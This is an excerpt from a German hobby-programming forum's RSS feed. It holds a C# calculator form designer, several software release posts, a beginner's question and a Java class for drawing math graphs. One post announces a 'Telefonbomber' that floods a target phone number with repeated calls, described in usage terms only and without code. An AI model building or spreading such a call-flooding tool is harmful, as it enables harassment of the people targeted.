            this.btnSub.UseCompatibleTextRendering = true;<br />
            this.btnSub.UseVisualStyleBackColor = false;<br />
            this.btnSub.Click += new System.EventHandler(this.btnOp_Click);<br />
            // <br />
            // btnErg<br />
            // <br />
            this.btnErg.BackColor = System.Drawing.Color.RoyalBlue;<br />
            this.btnErg.Dock = System.Windows.Forms.DockStyle.Fill;<br />
            this.btnErg.FlatStyle = System.Windows.Forms.FlatStyle.Flat;<br />
            this.btnErg.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 8.25F);<br />
            this.btnErg.ForeColor = System.Drawing.Color.White;<br />
            this.btnErg.Location = new System.Drawing.Point(38, 108);<br />
            this.btnErg.Name = &quot;btnErg&quot;;<br />
            this.btnErg.Size = new System.Drawing.Size(29, 29);<br />
            this.btnErg.TabIndex = 4;<br />
            this.btnErg.Text = &quot;=&quot;;<br />
            this.btnErg.UseCompatibleTextRendering = true;<br />
            this.btnErg.UseVisualStyleBackColor = false;<br />
            this.btnErg.Click += new System.EventHandler(this.btnErg_Click);<br />
            // <br />
            // label1<br />
            // <br />
            this.label1.AutoSize = true;<br />
            this.label1.BackColor = System.Drawing.Color.Transparent;<br />
            this.label1.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));<br />
            this.label1.ForeColor = System.Drawing.Color.Crimson;<br />
            this.label1.Location = new System.Drawing.Point(5, 5);<br />
            this.label1.Name = &quot;label1&quot;;<br />
            this.label1.Size = new System.Drawing.Size(77, 16);<br />
            this.label1.TabIndex = 7;<br />
            this.label1.Text = &quot;Rechnung&quot;;<br />
            // <br />
            // tbxCalculation<br />
            // <br />
            this.tbxCalculation.BackColor = System.Drawing.Color.LightSeaGreen;<br />
            this.tbxCalculation.BorderStyle = System.Windows.Forms.BorderStyle.None;<br />
            this.tbxCalculation.Dock = System.Windows.Forms.DockStyle.Top;<br />
            this.tbxCalculation.Location = new System.Drawing.Point(0, 0);<br />
            this.tbxCalculation.Name = &quot;tbxCalculation&quot;;<br />
            this.tbxCalculation.ReadOnly = true;<br />
            this.tbxCalculation.Size = new System.Drawing.Size(261, 13);<br />
            this.tbxCalculation.TabIndex = 9;<br />
            this.tbxCalculation.TextAlign = System.Windows.Forms.HorizontalAlignment.Right;<br />
            // <br />
            // panel1<br />
            // <br />
            this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;<br />
            this.panel1.Controls.Add(this.tbxActValue);<br />
            this.panel1.Controls.Add(this.tbxCalculation);<br />
            this.panel1.Location = new System.Drawing.Point(5, 23);<br />
            this.panel1.Name = &quot;panel1&quot;;<br />
            this.panel1.Size = new System.Drawing.Size(263, 31);<br />
            this.panel1.TabIndex = 11;<br />
            // <br />
            // tbxActValue<br />
            // <br />
            this.tbxActValue.BackColor = System.Drawing.Color.LightSeaGreen;<br />
            this.tbxActValue.BorderStyle = System.Windows.Forms.BorderStyle.None;<br />
            this.tbxActValue.Dock = System.Windows.Forms.DockStyle.Top;<br />
            this.tbxActValue.Font = new System.Drawing.Font(&quot;Microsoft Sans Serif&quot;, 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));<br />
            this.tbxActValue.Location = new System.Drawing.Point(0, 13);<br />
            this.tbxActValue.Name = &quot;tbxActValue&quot;;<br />
            this.tbxActValue.ReadOnly = true;<br />
            this.tbxActValue.Size = new System.Drawing.Size(261, 17);<br />
            this.tbxActValue.TabIndex = 13;<br />
            this.tbxActValue.TextAlign = System.Windows.Forms.HorizontalAlignment.Right;<br />
            // <br />
            // CalculatorGUI<br />
            // <br />
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);<br />
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;<br />
            this.BackgroundImage = global::TR.Properties.Resources.tr_bg;<br />
            this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;<br />
            this.ClientSize = new System.Drawing.Size(278, 222);<br />
            this.Controls.Add(this.panel1);<br />
            this.Controls.Add(this.label1);<br />
            this.Controls.Add(this.tableLayoutPanel1);<br />
            this.Controls.Add(this.tlpNumerics);<br />
            this.DoubleBuffered = true;<br />
            this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;<br />
            this.Icon = ((System.Drawing.Icon)(resources.GetObject(&quot;$this.  Icon&quot;)));<br />
            this.Name = &quot;CalculatorGUI&quot;;<br />
            this.Text = &quot;Rechner&quot;;<br />
            this.tlpNumerics.ResumeLayout(false);<br />
            this.tableLayoutPanel1.ResumeLayout(false);<br />
            this.panel1.ResumeLayout(false);<br />
            this.panel1.PerformLayout();<br />
            this.ResumeLayout(false);<br />
            this.PerformLayout();<br />
<br />
        }<br />
<br />
        #endregion<br />
<br />
        private System.Windows.Forms.TableLayoutPanel tlpNumerics;<br />
        private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1;<br />
        private System.Windows.Forms.Button btnDiv;<br />
        private System.Windows.Forms.Button btnMul;<br />
        private System.Windows.Forms.Button btnSub;<br />
        private System.Windows.Forms.Button btnAdd;<br />
        private System.Windows.Forms.Button btnErg;<br />
        private System.Windows.Forms.Button btnReset;<br />
        private System.Windows.Forms.Label label1;<br />
        private System.Windows.Forms.TextBox tbxCalculation;<br />
        private System.Windows.Forms.Button button11;<br />
        private System.Windows.Forms.Button button1;<br />
        private System.Windows.Forms.Button button2;<br />
        private System.Windows.Forms.Button button3;<br />
        private System.Windows.Forms.Button button4;<br />
        private System.Windows.Forms.Button button5;<br />
        private System.Windows.Forms.Button button6;<br />
        private System.Windows.Forms.Button button7;<br />
        private System.Windows.Forms.Button button8;<br />
        private System.Windows.Forms.Button button9;<br />
        private System.Windows.Forms.Button button12;<br />
        private System.Windows.Forms.Panel panel1;<br />
        private System.Windows.Forms.TextBox tbxActValue;<br />
        private System.Windows.Forms.Button btnResetActValue;<br />
    }<br />
}<br />
[/highlight]
</div>
</div>
</div><br />
<br />
Und hier nochma die ganze Projektmappe zum downloaden:<u><br />
<a href="http://www.mediafire.com/?kw0bq8awkdo1u6k" target="_blank" rel="nofollow">TR.rar</a><br />
</u></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/taschenrechner-31668</guid>
		</item>
		<item>
			<title>Quiz by xBoooMx</title>
			<link>showroom-102/quiz-by-xbooomx-7360?goto=newpost</link>
			<pubDate>Thu, 16 Feb 2012 23:13:22 GMT</pubDate>
			<description><![CDATA[Hallo. Ich habe diesen Abend an einem Quiz gearbeitet, die Fragen handeln alle um das Thema "Computer". Es werden euch 10 Fragen gestellt, den Rest...]]></description>
			<content:encoded><![CDATA[<div>Hallo. Ich habe diesen Abend an einem Quiz gearbeitet, die Fragen handeln alle um das Thema &quot;Computer&quot;. Es werden euch 10 Fragen gestellt, den Rest seht ihr im Programm. Habe jetzt nicht extreem schwere Fragen genommen.<br />
<br />
VirusTotal:<br />
<a href="https://www.virustotal.com/file/85df4cd30c72c67ad25333bb2c0968628a716e5a58dff4bf8358d7dd44cbafb4/analysis/1329433876/" target="_blank" rel="nofollow">https://www.virustotal.com/file/85df...is/1329433876/</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x BoooM x</dc:creator>
			<guid isPermaLink="true">showroom-102/quiz-by-xbooomx-7360</guid>
		</item>
		<item>
			<title>JappyLib v1.0 Beta</title>
			<link>showroom-102/jappylib-v1-0-beta-6044?goto=newpost</link>
			<pubDate>Mon, 30 Jan 2012 19:37:00 GMT</pubDate>
			<description>Hallo, 
 
ich möchte euch die JappyLib vorstellen. 
 
Was kann die JappyLib? 
 
Mit der JappyLib kann man mit wenig Codezeilen ziemlich viele...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
ich möchte euch die JappyLib vorstellen.<br />
<br />
Was kann die JappyLib?<br />
<br />
Mit der JappyLib kann man mit wenig Codezeilen ziemlich viele Funktionen von Jappy nutzen.<br />
<br />
<br />
Support , Bugs , Verbesserungsvorschläge und Wünsche könnt ihr mir gerne mitteilen!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">showroom-102/jappylib-v1-0-beta-6044</guid>
		</item>
		<item>
			<title>RAM und CPU Anzeige V1</title>
			<link>showroom-102/ram-cpu-anzeige-v1-5844?goto=newpost</link>
			<pubDate>Sat, 28 Jan 2012 11:57:44 GMT</pubDate>
			<description>Hallo liebe Community, 
 
ich habe einfach mal ganz schnell ein Teil gebastelt, was ich mir aus vielen Tutorials zusammengelernt habe. 
 
Screen: ...</description>
			<content:encoded><![CDATA[<div>Hallo liebe Community,<br />
<br />
ich habe einfach mal ganz schnell ein Teil gebastelt, was ich mir aus vielen Tutorials zusammengelernt habe.<br />
<br />
Screen: <br />
<a href="http://imageshack.us/photo/my-images/198/screenramundcpu.png/" target="_blank" rel="nofollow"><img src="http://img198.imageshack.us/img198/8948/screenramundcpu.png" border="0" alt="" /></a><br />
<br />
VT: <br />
<a href="https://www.virustotal.com/file/2cd25b22319d4c8120d80647236fbf7d08095559eabddeceaef887f211155155/analysis/1327751637/" target="_blank" rel="nofollow">https://www.virustotal.com/file/2cd2...is/1327751637/</a><br />
[<b>Keine Ahnung warum das da so angezeigt wird o.O</b><br />
<br />
DL:<br />
<a href="http://www.mediafire.com/?iq9a82od0mxukf4" target="_blank" rel="nofollow">http://www.mediafire.com/?iq9a82od0mxukf4</a><br />
<br />
<br />
Viel spaß damit. <br />
Mit freundlichen Grüßen D4NNY</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>HashTree</dc:creator>
			<guid isPermaLink="true">showroom-102/ram-cpu-anzeige-v1-5844</guid>
		</item>
		<item>
			<title><![CDATA[[Release] U-Hacks Telefonbomber]]></title>
			<link>showroom-102/release-u-hacks-telefonbomber-5540?goto=newpost</link>
			<pubDate>Tue, 24 Jan 2012 17:49:10 GMT</pubDate>
			<description>Guten Tag, 
  
 da es meines Wissens nach zurzeit keinen funktionierenden Telefonbomber gibt, habe ich auf die Schnelle mal einen gemacht, exklusiv...</description>
			<content:encoded><![CDATA[<div>Guten Tag,<br />
 <br />
 da es meines Wissens nach zurzeit keinen funktionierenden Telefonbomber gibt, habe ich auf die Schnelle mal einen gemacht, exklusiv für U-Hacks.<br />
 <br />
 <img src="https://u-labs.de/forum/attachment.php?attachmentid=5924&amp;d=1387494732" border="0" alt="Name:  telefonbomber.png
Hits: 1522
Größe:  23,1 KB" class="thumbnail" style="float:CONFIG" /><br />
 <br />
 <b>Funktionsweise:</b><br />
 Sollte sich von selbst erklären. Vorwahl im normalen Format (z.B. 02241)  , Telefonnummer, anschließend die Anzahl der Anrufe und zum Schluss die  Wartezeit zwischen den Anrufen eingeben.<br />
<br />
Das Programm benötigt das .NET Framework Version &gt;= 3.0<br />
<br />
<b>Hinweis: </b><br />
Dieses Programm ist zu Test- und Lernzwecken gedacht. Die Nutzung kann möglicherweise nicht legal sein. Ich distanziere mich von jeglichen strafbaren Handlungen oder Schäden, die durch diese Software ggf. entstehen können.<br />
 <font size="3"><br />
<b>DOWNLOAD</b></font>  <br />
<br />
<b><font color="Red"><img src="http://u-hacks.net/images/icons/icon4.gif" border="0" alt="" /> Mirroring nicht erlaubt!<br />
<br />
</font></b></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=5924&amp;stc=1&amp;d=1387494732" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>DMW007</dc:creator>
			<guid isPermaLink="true">showroom-102/release-u-hacks-telefonbomber-5540</guid>
		</item>
		<item>
			<title>Nach einer bestimmten Zeit was machen?</title>
			<link>showroom-102/nach-einer-bestimmten-zeit-was-machen-31438?goto=newpost</link>
			<pubDate>Tue, 17 Jan 2012 17:57:29 GMT</pubDate>
			<description>Liebe user, 
bin gerade was am versuchen: 
Ich versuche gerade, per Label, falls eine bestimmte Zeit eintrifft, dass das Programm dann was tut. 
 
...</description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
bin gerade was am versuchen:<br />
Ich versuche gerade, per Label, falls eine bestimmte Zeit eintrifft, dass das Programm dann was tut.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Label1.text = Timer of day<br />
TextBox7.Text = Label6.Text = True Then<br />
msgbox.show</code><hr />
</div>klappt aber irgendwie nicht.<br />
Weiß jemand warum?</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">showroom-102/nach-einer-bestimmten-zeit-was-machen-31438</guid>
		</item>
		<item>
			<title>Java - Rechtshändiges Koordinatensystem</title>
			<link>showroom-102/java-rechtshaendiges-koordinatensystem-4624?goto=newpost</link>
			<pubDate>Tue, 10 Jan 2012 21:15:55 GMT</pubDate>
			<description>Hallo, 
 
bei dem Koordinatensystem in Java liegt der Ursprung (0,0) in der linken oberen Ecke. Die x-Achse wächst nach rechts und die y-Achse wächst...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
bei dem Koordinatensystem in Java liegt der Ursprung (0,0) in der linken oberen Ecke. Die x-Achse wächst nach rechts und die y-Achse wächst nach unten. Ist ja auch logisch, wenn man weiß, wie etwas auf dem Bildschirm dargestellt wird. Darstellen von negativen y-Koordinaten ist so weiteres nicht möglich. (negative x-Koordinaten schon, führen aber nicht zum erwarteten Ergebnis).<br />
Die x-Achse des typischen Koordinatensystems, das man aus dem Mathematikunterricht kennt, wächst ebenfalls nach rechts. Die y-Achse allerdings nach oben.Negative Koordinaten sind darstellbar.<br />
<br />
Das habe ich versucht in Java zu implementieren, u. a. um schneller mit Mathematikhausaufgaben fertig zu werden.<br />
<br />
Die Klasse:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package j3d.graphics3d;<br />
<br />
import java.awt.Color;<br />
import java.awt.Graphics;<br />
<br />
public class MathGraphics {<br />
&nbsp; &nbsp; // Interface für Mathematische Funktionen<br />
&nbsp; &nbsp; public interface Function {<br />
&nbsp; &nbsp; &nbsp; &nbsp; double f(double x);&nbsp; &nbsp;  // Liefert den y-Wert, wenn Eingabe = x-Wert<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; private Graphics g;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  // Grafikkontext<br />
&nbsp; &nbsp; private int width, height;&nbsp; &nbsp; &nbsp; // Breite und Höhe des &quot;grafischen Bereiches&quot;<br />
&nbsp; &nbsp; private double xStep, yStep;&nbsp; &nbsp; // x-, y-Schritte<br />
&nbsp; &nbsp; private int xSpacing, ySpacing; // x-, y-Pixelabstand<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Konstruktor.<br />
&nbsp; &nbsp;  * Initialisiert Member.<br />
&nbsp; &nbsp;  * @param g Grafikkontext<br />
&nbsp; &nbsp;  * @param width Breite<br />
&nbsp; &nbsp;  * @param height Höhe<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public MathGraphics(Graphics g, int width, int height) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.g = g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.width = width;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.height = height;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Konstruktor.<br />
&nbsp; &nbsp;  * Initialisiert Member und setzt den Ursprung.<br />
&nbsp; &nbsp;  * @param g Grafikkontext<br />
&nbsp; &nbsp;  * @param originX x-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param originY y-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param width Breite <br />
&nbsp; &nbsp;  * @param height Höhe<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public MathGraphics(Graphics g, int originX, int originY, int width, int height) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this(g, width, height);<br />
&nbsp; &nbsp; &nbsp; &nbsp; setOrigin(originX, originY);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Kosntruktor.<br />
&nbsp; &nbsp;  * Initialisiert Member, setzt den Ursprung, die Intervalle und die Abstände<br />
&nbsp; &nbsp;  * @param g Grafikkontext<br />
&nbsp; &nbsp;  * @param originX x-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param originY y-Koordinate des Ursprungs<br />
&nbsp; &nbsp;  * @param width Breite<br />
&nbsp; &nbsp;  * @param height Höhe<br />
&nbsp; &nbsp;  * @param xStep Schritte (x-Achse)<br />
&nbsp; &nbsp;  * @param yStep Schritte (y-Achse)<br />
&nbsp; &nbsp;  * @param xSpacing (grafischer) Abstand der x-Werte<br />
&nbsp; &nbsp;  * @param ySpacing (grafischer) Abstand der y-Werte<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public MathGraphics(Graphics g, int originX, int originY, int width, int height,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double xStep, double yStep, int xSpacing, int ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this(g, originX, originY, width, height);<br />
&nbsp; &nbsp; &nbsp; &nbsp; setSteps(xStep, yStep);<br />
&nbsp; &nbsp; &nbsp; &nbsp; setSpacing(xSpacing, ySpacing);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet eine Funktion<br />
&nbsp; &nbsp;  * @param function Funktion<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawFunction(MathGraphics.Function function) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = -width / 2; i &lt;= width / 2; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fx = (double) i / xSpacing * xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fy = function.f(fx);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int y = (int) (fy * ySpacing / yStep);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i2 = i + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fx2 = (double) i2 / xSpacing * xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; double fy2 = function.f(fx2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int y2 = (int) (fy2 * ySpacing / yStep);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(i, -y, i2, -y2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet eine Funktion in einer beliebigen Farbe<br />
&nbsp; &nbsp;  * @param function Funktion<br />
&nbsp; &nbsp;  * @param color Farbe<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawFunction(MathGraphics.Function function, Color color) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(color);<br />
&nbsp; &nbsp; &nbsp; &nbsp; drawFunction(function);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet das Raster<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawRaster() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.gray);<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 1.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = xSpacing; x &lt;= width / 2; x += xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = -ySpacing; y &gt;= -height / 2; y -= ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 2.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = -xSpacing; x &gt;= -width / 2; x -= xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = -ySpacing; y &gt;= -height / 2; y -= ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 3.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = -xSpacing; x &gt;= -width / 2; x -= xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = ySpacing; y &lt;= height / 2; y += ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // 4.Quadrant<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int x = xSpacing; x &lt;= width / 2; x += xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int y = ySpacing; y &lt;= height / 2; y += ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawRect(x, y, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet beide Achsen<br />
&nbsp; &nbsp;  * @param label Wenn true, bekommen die einzelnen Schritte Ziffern zugewiesen<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawAxes(boolean label) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; drawXAxis(label);<br />
&nbsp; &nbsp; &nbsp; &nbsp; drawYAxis(label);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet die X-Achse<br />
&nbsp; &nbsp;  * @param label Wenn true, bekommen die einzelnen Schritte Ziffern zugewiesen<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawXAxis(boolean label) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; &nbsp; &nbsp; double xSt = -xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-width / 2, 0, width / 2, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(width / 2 - 10, -5, width / 2, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(width / 2 - 10, 5, width / 2, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &gt;= -width / 2; i -= xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(i, -5, i, 5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strW = g.getFontMetrics(g.getFont()).stringWidth(String.valueOf(i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(xSt), i - strW / 2, 5 + strH);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xSt += -xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; xSt = xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt;= width / 2; i += xSpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(i, -5, i, 5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strW = g.getFontMetrics(g.getFont()).stringWidth(String.valueOf(i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(xSt), i - strW / 2, 5 + strH);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xSt += xStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Zeichnet die Y-Achse<br />
&nbsp; &nbsp;  * @param label Wenn true, bekommen die einzelnen Schritte Ziffern zugewiesen<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void drawYAxis(boolean label) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.setColor(Color.black);<br />
&nbsp; &nbsp; &nbsp; &nbsp; double ySt = yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(0, -height / 2, 0, height / 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-5, -height / 2 + 10, 0, -height / 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(5, -height / 2 + 10, 0, -height / 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &gt;= -height / 2; i -= ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-5, i, 5, i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(ySt), 10, i + strH / 4);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ySt += yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; ySt = -yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt;= height / 2; i += ySpacing) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawLine(-5, i, 5, i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(label &amp;&amp; i != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int strH = g.getFontMetrics(g.getFont()).getHeight();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g.drawString(String.valueOf(ySt), 10, i + strH / 4);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ySt += -yStep;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; /**<br />
&nbsp; &nbsp;  * Setzt die &quot;Schritte&quot;<br />
&nbsp; &nbsp;  * @param x Schritte auf der x-Achse<br />
&nbsp; &nbsp;  * @param y Schritte auf der y-Achse<br />
&nbsp; &nbsp;  */<br />
&nbsp; &nbsp; public void setSteps(double x, double y) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.xStep = x;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.yStep = y;<br />
&nbsp; &nbsp; }<br />
